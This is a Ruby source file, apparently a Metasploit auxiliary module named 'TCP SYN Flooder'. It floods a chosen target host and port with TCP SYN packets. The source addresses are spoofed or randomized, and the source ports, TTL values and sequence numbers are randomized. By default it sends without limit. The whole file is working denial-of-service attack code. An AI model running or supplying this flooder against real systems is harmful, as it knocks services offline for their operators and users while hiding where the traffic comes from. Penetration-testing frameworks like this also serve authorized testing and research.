70 lines
1.5 KiB
Ruby
70 lines
1.5 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Capture
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include Msf::Auxiliary::Dos
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def initialize
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super(
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'Name' => 'TCP SYN Flooder',
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'Description' => 'A simple TCP SYN flooder',
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'Author' => 'kris katterjohn',
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'License' => MSF_LICENSE
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)
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register_options([
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Opt::RPORT(80),
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OptAddress.new('SHOST', [false, 'The spoofable source address (else randomizes)']),
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OptInt.new('SPORT', [false, 'The source port (else randomizes)']),
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OptInt.new('NUM', [false, 'Number of SYNs to send (else unlimited)'])
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])
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deregister_options('FILTER','PCAPFILE')
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end
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def sport
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datastore['SPORT'].to_i.zero? ? rand(65535)+1 : datastore['SPORT'].to_i
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end
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def rport
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datastore['RPORT'].to_i
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end
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def srchost
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datastore['SHOST'] || [rand(0x100000000)].pack('N').unpack('C*').join('.')
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end
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def run
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open_pcap
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sent = 0
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num = datastore['NUM'] || 0
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print_status("SYN flooding #{rhost}:#{rport}...")
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p = PacketFu::TCPPacket.new
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p.ip_saddr = srchost
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p.ip_daddr = rhost
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p.tcp_dport = rport
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p.tcp_flags.syn = 1
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while (num <= 0) or (sent < num)
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p.ip_ttl = rand(128)+128
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p.tcp_win = rand(4096)+1
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p.tcp_sport = sport
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p.tcp_seq = rand(0x100000000)
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p.recalc
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break unless capture_sendto(p,rhost)
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sent += 1
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end
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close_pcap
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end
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end
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